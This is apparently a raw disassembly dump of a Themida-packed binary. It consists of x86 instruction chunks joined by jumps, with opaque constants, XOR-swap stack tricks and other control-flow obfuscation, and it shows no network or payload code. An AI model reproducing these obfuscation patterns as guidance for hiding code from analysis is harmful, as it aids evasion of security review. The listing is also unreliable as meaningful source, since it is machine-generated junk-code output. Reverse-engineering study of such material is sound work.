mov ebp, 4 jmp loc_5850EA ; END OF FUNCTION CHUNK FOR sub_58AB18 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_589745: ; CODE XREF: sub_58EFBD-8094j push ecx mov ecx, 489F5319h jmp loc_584B38 ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- loc_589750: ; CODE XREF: Themida_:0058EBEEj add ebx, esi pop esi push ecx jmp loc_58BD31 ; --------------------------------------------------------------------------- loc_589759: ; CODE XREF: Themida_:0058A2AEj push esp mov edi, [esp] add esp, 4 jmp loc_58865D ; --------------------------------------------------------------------------- loc_589765: ; CODE XREF: Themida_:0058A9C7j push 30C94043h pop edx add ebx, 42CC458Fh jmp loc_5859CF ; --------------------------------------------------------------------------- loc_589776: ; CODE XREF: Themida_:0058A641j inc ebx and ebx, 4C2D16F3h shr ebx, 4 add ebx, 0FFFFFFFFh jmp loc_58D61B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58978B: ; CODE XREF: sub_585452-DEEj jmp dword ptr [edi+eax*4] ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- popa retn ; --------------------------------------------------------------------------- jmp loc_5880BF ; --------------------------------------------------------------------------- loc_589795: ; CODE XREF: Themida_:005865D6j mov ecx, 6E4C6845h add ecx, 0FFFFFFFFh jmp loc_5846D1 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop eax push ecx jmp loc_58E11C ; --------------------------------------------------------------------------- loc_5897AF: ; CODE XREF: Themida_:00587EAFj xor edx, [esp] jmp loc_58ED64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58960C loc_5897B7: ; CODE XREF: sub_58960C+138Dj add esp, 4 jmp loc_583ECE ; END OF FUNCTION CHUNK FOR sub_58960C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589C10 loc_5897BF: ; CODE XREF: sub_589C10-B4Bj mov [esp-4+arg_0], eax jmp loc_583C20 ; END OF FUNCTION CHUNK FOR sub_589C10 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5897C7: ; CODE XREF: sub_585452+62j mov ecx, 4 add edi, ecx mov ecx, [esp+0Ah+var_C+2] add esp, 4 add edi, 4 xor edi, [esp+6+var_8+2] xor [esp+6+var_8+2], edi xor edi, [esp+6+var_8+2] pop esp xor [esp+4], edx pop edx mov eax, [esp+0] add esp, 4 xor eax, 15D12550h push 63DAh mov [esp+0], ecx push 6155h mov [esp+2+var_4+2], eax mov eax, 785E7382h jmp loc_587617 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_589814: ; CODE XREF: Themida_:0058ED40j mov esp, [esp] push dword ptr [esp] pop ecx jmp loc_58F531 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_589820: ; CODE XREF: sub_585452+6D50j mov ecx, edi push ecx pop esi pop ecx push dword ptr [esp+0] pop edi push ebp mov ebp, esp add ebp, 4 jmp loc_58E714 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_589837: ; CODE XREF: Themida_:00584520j mov ch, 13h jmp loc_58FEE0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58622C loc_58983E: ; CODE XREF: sub_58622C+6862j add ebp, 4376C68Dh jmp loc_58DF70 ; END OF FUNCTION CHUNK FOR sub_58622C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_589849: ; CODE XREF: sub_585452+7999j push edi jmp loc_584FCB ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58984F: ; CODE XREF: Themida_:0058BD59j add esp, 4 add eax, 2 jmp loc_587473 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_586A34 loc_58985A: ; CODE XREF: sub_586A34-296Ej add esi, ebx jmp loc_5881C2 ; END OF FUNCTION CHUNK FOR sub_586A34 ; --------------------------------------------------------------------------- lodsb jmp loc_58DCFB ; --------------------------------------------------------------------------- loc_589867: ; CODE XREF: Themida_:00586ADBj add ecx, edi pop edi sub ecx, 4 jmp loc_5894B6 ; --------------------------------------------------------------------------- loc_589875: ; CODE XREF: Themida_:00583F49j mov dl, al pop eax pop ebx sub al, dl jmp loc_58EBA4 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 jmp loc_58FF0F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5886E0 loc_58988F: ; CODE XREF: sub_5886E0+502Ej xor ebp, 1E3C2228h add ecx, ebp mov ebp, [esp+0Ch+var_C] push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_58B1C9 ; END OF FUNCTION CHUNK FOR sub_5886E0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5898AB: ; CODE XREF: sub_585452+21CAj push eax add [esp+0Ah+var_C+2], 5F7207B8h mov ecx, [esp+0Ah+var_C+2] add esp, 4 jmp loc_588718 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C230 loc_5898BE: ; CODE XREF: sub_58C230+2B2Fj push 60BA0823h jmp loc_58BAF8 ; END OF FUNCTION CHUNK FOR sub_58C230 ; --------------------------------------------------------------------------- loc_5898C8: ; CODE XREF: Themida_:0058EEB5j pop edi mov ecx, ebp pop ebp add esi, ecx pop ecx push ebx push ebp mov ebp, 8CF0570h mov ebx, 0F730FA92h jmp loc_586D8C ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax push ebp push esp pop ebp sub esp, 4 jmp loc_58D869 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5898F2: ; CODE XREF: sub_585452+6C7Bj pop esp mov [esp+2+var_4+2], edi push ecx mov ecx, 33012311h mov edi, 34F686F9h jmp loc_58FD0B ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_589906: ; CODE XREF: Themida_:00586D18j push ecx mov cl, 0D0h jmp loc_588009 ; --------------------------------------------------------------------------- loc_58990E: ; CODE XREF: Themida_:0058E04Aj sub edi, edx jmp loc_586ADA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_589915: ; CODE XREF: sub_585452+173Dj mov esp, [esp-0Ah+arg_4+2] shr eax, 18h xor eax, ecx jmp loc_5899AC ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_587574 loc_589922: ; CODE XREF: sub_587574+1DF8j pop eax push eax mov eax, 75966EB9h shr eax, 2 add eax, 73920C26h jmp loc_586B3B ; END OF FUNCTION CHUNK FOR sub_587574 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_589936: ; CODE XREF: sub_585452+480Bj pop ebp push ebp mov ebp, 1521285h sub ebx, ebp pop ebp add ebx, eax push edi mov edi, 4C6D4889h jmp loc_58F165 ; --------------------------------------------------------------------------- loc_58994D: ; CODE XREF: sub_585452+1B73j add edi, 4 jmp loc_58CD79 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_589958: ; CODE XREF: Themida_:0058A58Ej not dword ptr [esp] jmp loc_58E859 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_589960: ; CODE XREF: sub_585452+6AA4j mov dh, ah jmp loc_58EAF6 ; END OF FUNCTION CHUNK FOR sub_585452 ; =============== S U B R O U T I N E ======================================= sub_589967 proc near ; CODE XREF: sub_585452+1CD6j var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 00583EC7 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00583F00 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005841B1 SIZE 00000045 BYTES ; FUNCTION CHUNK AT 0058479F SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00584A8E SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00584EBA SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00585F4B SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0058664B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005866B7 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00586E80 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00587360 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0058817C SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00588744 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005889BD SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00588AD5 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058907D SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058A317 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0058BCAD SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0058BCF9 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0058D081 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058D4FE SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0058DAD1 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0058E7F4 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0058E830 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0058EEC5 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0058EF52 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058EF6D SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0058F0F9 SIZE 00000021 BYTES sub esp, 4 jmp loc_5841B1 sub_589967 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_589972 proc near ; CODE XREF: sub_585452+854Fj var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00586219 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0058AD72 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0058BD19 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0058D2BB SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0058FF3A SIZE 00000014 BYTES sub esp, 4 jmp loc_58AD72 sub_589972 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589FD5 loc_58997D: ; CODE XREF: sub_589FD5-10ECj mov edi, 245E6D2Eh jmp loc_58A44E ; END OF FUNCTION CHUNK FOR sub_589FD5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F728 loc_589987: ; CODE XREF: sub_58F728-7B56j sub esi, 55CE4BD3h push ebp jmp loc_5847B2 ; END OF FUNCTION CHUNK FOR sub_58F728 ; --------------------------------------------------------------------------- loc_589993: ; CODE XREF: Themida_:0058A72Fj push esi mov esi, esp jmp loc_58A061 ; =============== S U B R O U T I N E ======================================= sub_58999B proc near ; CODE XREF: sub_58EDD1+F6Fj var_A = dword ptr -0Ah var_6 = dword ptr -6 var_2 = word ptr -2 arg_2 = dword ptr 6 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h ; FUNCTION CHUNK AT 00584E79 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0058608E SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00586971 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005872E3 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00587658 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00587A13 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00587E7F SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005886AA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00589BE8 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 0058ACAB SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058CF02 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 0058D4B0 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0058D93A SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0058DDB6 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0058DF20 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0058E158 SIZE 0000002C BYTES ; FUNCTION CHUNK AT 0058E21E SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0058E2D2 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058EA40 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0058EE8D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058F082 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0058F337 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0058FAA4 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0058FE24 SIZE 0000000C BYTES push bx mov bh, 0DAh jmp loc_58F082 sub_58999B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5899A4: ; CODE XREF: sub_585452+7667j mov esi, [esp+12h+var_14+2] jmp loc_58F554 ; --------------------------------------------------------------------------- loc_5899AC: ; CODE XREF: sub_585452+44CBj push 2B77h mov [esp-6+arg_0+2], eax xchg eax, [esp-6+arg_0+2] jmp loc_58FB8C ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58DA2E loc_5899BC: ; CODE XREF: sub_58DA2E-C31j mov bh, ah jmp loc_584FDF ; END OF FUNCTION CHUNK FOR sub_58DA2E ; --------------------------------------------------------------------------- loc_5899C3: ; CODE XREF: Themida_:005889F2j mov esp, [esp] add esi, eax push eax mov eax, 6A6A41F6h sub esi, eax jmp loc_58A489 ; --------------------------------------------------------------------------- loc_5899D5: ; CODE XREF: Themida_:0058DC91j add ebp, 4 push ecx mov ecx, 4 add ebp, ecx pop ecx jmp loc_58FE6B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5899E9: ; CODE XREF: sub_585452+3029j push eax mov ah, 0B2h xor ah, 93h mov dh, ah mov eax, [esp+0Ch+var_C] add esp, 4 mov ch, dh pop edx shl ch, 7 jmp loc_58BBBC ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FA66 loc_589A02: ; CODE XREF: sub_58FA66-642Bj add esp, 4 push 55DBh mov [esp+0], ecx sub esp, 4 jmp loc_5862D9 ; END OF FUNCTION CHUNK FOR sub_58FA66 ; --------------------------------------------------------------------------- loc_589A18: ; CODE XREF: Themida_:00586B50j mov edx, [esp] add esp, 4 add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp jmp loc_583C20 ; --------------------------------------------------------------------------- loc_589A33: ; CODE XREF: Themida_:00584692j mov ecx, 7A36216Fh xor ecx, 1E2B41h xor ecx, 7A280A2Ah add ebx, ecx jmp loc_58EA03 ; --------------------------------------------------------------------------- loc_589A4B: ; CODE XREF: Themida_:0058D198j add edi, ebx add edi, 400362DBh pop ebx jmp loc_58B895 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_589A59: ; CODE XREF: sub_585452+83C4j pop ecx pop dword ptr [esp+0] mov esp, [esp-4+arg_0] add esp, 4 shr ecx, 7 jmp loc_58E745 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_589A6E: ; CODE XREF: Themida_:005886CBj mov ebp, 4 add ebx, ebp pop ebp push ecx mov ecx, 6F396DE9h or ecx, 66406E08h push edx mov edx, 78753804h and edx, 4C0918DBh jmp loc_58DBC7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_589A93: ; CODE XREF: sub_585452+4E8Bj mov eax, 25373DE4h jmp loc_58DFC7 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F3BC loc_589A9D: ; CODE XREF: sub_58F3BC-B347j pop ebp push [esp-8+arg_0] mov edi, [esp+0] add esp, 4 push ebx mov ebx, esp add ebx, 4 add ebx, 4 sub esp, 4 jmp loc_58F27E ; END OF FUNCTION CHUNK FOR sub_58F3BC ; --------------------------------------------------------------------------- loc_589ABE: ; CODE XREF: Themida_:00586364j sub ebx, ecx pop ecx add ebx, 5D3C2269h push ebp mov ebp, 779676BAh not ebp jmp loc_58D90C ; --------------------------------------------------------------------------- loc_589AD4: ; CODE XREF: Themida_:00587114j mov edi, 4541ADh add ebx, edi pop edi push edi mov edi, 86B7D24Ch add ebx, 0C246DD5h push ecx jmp loc_5893AD ; --------------------------------------------------------------------------- loc_589AEE: ; CODE XREF: Themida_:00588537j mov [esp], ebx push esp pop ebx add ebx, 4 push 5F3Fh mov [esp], edx push eax push ebx mov ebx, 0AE56A09h mov eax, ebx mov ebx, [esp] add esp, 4 jmp loc_586EF8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_589B18: ; CODE XREF: sub_585452+EC3j sub edi, 421F5606h push 8ECh mov [esp-24h+arg_1E+2], eax jmp loc_5882EA ; --------------------------------------------------------------------------- loc_589B2B: ; CODE XREF: sub_585452+3122j pop eax or eax, 273D4599h inc eax sub eax, 773F4596h mov edi, eax jmp loc_58946A ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_589B3E: ; CODE XREF: Themida_:0058BA3Aj push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] rol dword ptr [esp], cl pushf jmp loc_58C360 ; --------------------------------------------------------------------------- loc_589B53: ; CODE XREF: Themida_:005896A7j push eax mov eax, 3C68714Dh sub ecx, eax pop eax push ebx mov ebx, 29795121h jmp loc_583DD6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_589B67: ; CODE XREF: sub_585452+AAB8j sub ebp, 6EA937E6h jmp loc_584812 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- lodsb sub esp, 2 mov [esp], dx push ebx mov bh, 43h jmp loc_58925B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58905F loc_589B82: ; CODE XREF: sub_58905F-4F61j push eax push esi push 3F1C0C8Dh pop esi jmp loc_584F12 ; END OF FUNCTION CHUNK FOR sub_58905F ; --------------------------------------------------------------------------- loc_589B8F: ; CODE XREF: Themida_:00589668j add esp, 4 push esi mov esi, esp jmp loc_5889F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_589B9D: ; CODE XREF: sub_585452+B6Aj push edx jmp sub_584FAB ; --------------------------------------------------------------------------- loc_589BA3: ; CODE XREF: sub_585452+175Aj push eax jmp loc_58535F ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_589BA9: ; CODE XREF: Themida_:0058E9D3j mov ecx, 723B6127h add eax, ecx mov ecx, [esp] add esp, 4 add eax, ebx sub eax, 723B6127h push edi push ebx mov ebx, 6F22848h mov edi, 290B3BA1h xor edi, ebx pop ebx jmp loc_589E61 ; --------------------------------------------------------------------------- loc_589BD4: ; CODE XREF: Themida_:00589F3Dj add ecx, 4 jmp loc_58F237 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_583C38 loc_589BDC: ; CODE XREF: sub_583C38+473Ej add esp, 4 or [edi+1Ch], ebp pop ebp jmp loc_583C20 ; END OF FUNCTION CHUNK FOR sub_583C38 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58999B loc_589BE8: ; CODE XREF: sub_58999B+56EBj sub al, bl push bx mov bl, 0DAh add al, bl pop bx sub al, 9Dh pop ebx push ecx mov cl, 55h inc cl push 0 sub byte ptr [esp-6+arg_2], cl mov cl, byte ptr [esp-6+arg_2] add esp, 4 sub cl, 6Dh jmp loc_58FAA4 ; END OF FUNCTION CHUNK FOR sub_58999B ; =============== S U B R O U T I N E ======================================= sub_589C10 proc near ; CODE XREF: sub_585452+1C7j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0058419B SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00584F30 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00585FDD SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00587BEA SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00588DCB SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005890BC SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005894BF SIZE 00000025 BYTES ; FUNCTION CHUNK AT 005897BF SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058B154 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 0058B294 SIZE 00000033 BYTES ; FUNCTION CHUNK AT 0058C150 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058DE95 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0058E1A5 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058FBA2 SIZE 0000000B BYTES sub esp, 4 mov [esp+0], eax push ebx jmp loc_58E1A5 sub_589C10 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_589C1F: ; CODE XREF: sub_585452+9957j mov edi, 4 sub esi, edi jmp loc_583DE3 ; --------------------------------------------------------------------------- loc_589C2B: ; CODE XREF: sub_585452-1427j push 1941h mov [esp+0Ch+var_C], eax push ebx jmp sub_583D6F ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_589C39: ; CODE XREF: Themida_:0058F411j add ebx, 4 jmp loc_5880E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_589C44: ; CODE XREF: sub_585452+686Fj mov eax, 462240D9h push ebp mov ebp, 59304702h and ebp, 47FD75D6h sub ebp, 0ED960060h sub ebx, ebp jmp loc_589936 ; --------------------------------------------------------------------------- loc_589C62: ; CODE XREF: sub_585452+2E70j pop dx jmp loc_58425D ; --------------------------------------------------------------------------- loc_589C69: ; CODE XREF: sub_585452+3D3j mov edi, 60C10FA7h dec edi push edx jmp loc_58F227 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_589C75: ; CODE XREF: Themida_:005845F8j pop esp mov [esp], edx push ecx push ebx jmp loc_58714B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_589C80: ; CODE XREF: sub_585452+3273j push 2 pop ebx add esi, 54E73772h sub esi, ebx sub esi, 54E73772h pop ebx xor esi, [esp-0Ch+arg_8] xor [esp-0Ch+arg_8], esi xor esi, [esp-0Ch+arg_8] pop esp mov [esp+0], cx movzx cx, al push cx pushf jmp loc_583C20 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_58E825 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_589CB7: ; CODE XREF: sub_585452+42BFj mov edi, [esp-16h+arg_12] jmp loc_58D3B7 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BCA7 loc_589CBF: ; CODE XREF: sub_58BCA7+3AB4j xor ebx, [esp+4+var_4] pop esp mov [esp+0], ebx push dword ptr [esp+0] mov eax, [esp+4+var_4] jmp loc_585F32 ; END OF FUNCTION CHUNK FOR sub_58BCA7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_589CD1: ; CODE XREF: sub_585452+5333j push [esp-16h+arg_12] pop eax jmp loc_589311 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5886E0 loc_589CDA: ; CODE XREF: sub_5886E0-1E6Dj and ebp, esi jmp loc_58D70A ; END OF FUNCTION CHUNK FOR sub_5886E0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58D7D9 loc_589CE1: ; CODE XREF: sub_58D7D9-2164j mov ecx, 0E332E68h mov esi, 0E332E6Ch xor esi, ecx pop ecx jmp loc_58D6AB ; END OF FUNCTION CHUNK FOR sub_58D7D9 ; --------------------------------------------------------------------------- loc_589CF3: ; CODE XREF: Themida_:00586BE3j push 467Ah mov [esp], ebx push 1 mov ebx, [esp] add esp, 4 or [edi+1Ch], ebx jmp loc_58875F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FA66 loc_589D0E: ; CODE XREF: sub_58FA66-53F5j mov eax, 17E6324Dh not eax not eax dec eax shl eax, 2 sub eax, 4F2D1B5Ch add eax, 4F66A295h mov esi, eax pop eax neg esi xor esi, 0FEB9A00Ch mov ebp, esi mov esi, [esp+0] add esp, 4 jmp loc_58E912 ; END OF FUNCTION CHUNK FOR sub_58FA66 ; --------------------------------------------------------------------------- loc_589D40: ; CODE XREF: Themida_:00583D6Aj shr ebx, 3 jmp loc_58EE32 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_589D48: ; CODE XREF: sub_585452+DAj xchg edi, ebx jmp loc_58EE84 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_589D4F: ; CODE XREF: Themida_:0058A00Aj pop eax add esp, 4 sub esp, 4 mov [esp], esi mov esi, 2581189Eh add eax, esi jmp loc_58C413 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C230 loc_589D65: ; CODE XREF: sub_58C230+679j neg ebp and ebp, 102D58ADh sub ebp, 0FFFFFFFFh add ebp, 2E6F5FCAh xor ebp, 2E9C4153h jmp loc_58BD9D ; END OF FUNCTION CHUNK FOR sub_58C230 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_589D81: ; CODE XREF: sub_585452+6C61j xor edi, eax pop eax jmp loc_58803D ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C31F loc_589D89: ; CODE XREF: sub_58C31F-3F81j pop esp jmp sub_58405E ; END OF FUNCTION CHUNK FOR sub_58C31F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_589D8F: ; CODE XREF: sub_585452+939Dj push esi mov esi, esp push ebx mov ebx, 48A80E15h xchg edx, ebx push edx not [esp+16h+var_18+2] pop edx jmp loc_58C4F8 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58405E loc_589DA4: ; CODE XREF: sub_58405E+1j push esi mov esi, 5CCE4F4Ah mov ebx, esi pop esi sub ebx, 15324D2Dh add eax, ebx jmp loc_58F1B1 ; END OF FUNCTION CHUNK FOR sub_58405E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_589DBA: ; CODE XREF: sub_585452+6E06j shr eax, 7 xor eax, 66B23Ah mov edi, eax push [esp+12h+var_14+2] jmp loc_586F16 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58E234 loc_589DCC: ; CODE XREF: sub_58E234-653Bj sub esi, offset dword_57FFFC add edi, esi pop esi push edx mov edx, 4 add edi, edx pop edx xor edi, [esp+4+var_4] xor [esp+4+var_4], edi xor edi, [esp+4+var_4] pop esp or eax, eax jnz sub_58EFBD push 65C4h mov [esp+4+var_4], eax mov eax, 58692166h push ebx push 1B5F1F98h pop ebx dec ebx jmp loc_585CE9 ; END OF FUNCTION CHUNK FOR sub_58E234 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_589E0A: ; CODE XREF: sub_585452+8D7Aj mov esi, [esp+16h+var_18+2] add esp, 4 push edi push ecx push 4E213452h pop ecx add ecx, 5CAD0921h sub ecx, 587FC1BBh jmp loc_58794C ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58E1AF loc_589E29: ; CODE XREF: sub_58E1AF+220j push edx push dword ptr [esp+4] mov edx, [esp-4+arg_0] jmp loc_58669E ; END OF FUNCTION CHUNK FOR sub_58E1AF ; --------------------------------------------------------------------------- loc_589E36: ; CODE XREF: Themida_:00589EC1j inc ebx not ebx jmp loc_584A3D ; --------------------------------------------------------------------------- loc_589E3E: ; CODE XREF: Themida_:0058A8F4j pop ebp sub ebx, 26396E20h add ebx, ecx jmp loc_58D0D5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_589E4C: ; CODE XREF: sub_585452+A78Ej pop esi sub edi, 1 and edi, 33555CC6h or edi, 0B7F7E31h jmp loc_58C080 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_589E61: ; CODE XREF: Themida_:00589BCFj sub eax, 7E532C48h sub eax, 521A007Fh add eax, edi add eax, 521A007Fh push ebp mov ebp, 0A55052h dec ebp dec ebp neg ebp jmp loc_58D4EF ; --------------------------------------------------------------------------- movzx ax, byte ptr fs:[edx] jmp loc_58BCEC ; --------------------------------------------------------------------------- loc_589E8B: ; CODE XREF: Themida_:0058B6D5j sub esp, 4 mov [esp], ebp push 2991h mov [esp], eax mov eax, 4EF1D70h push edx push ecx push 688C1F8Bh pop ecx dec ecx shl ecx, 7 jmp loc_58C82D ; 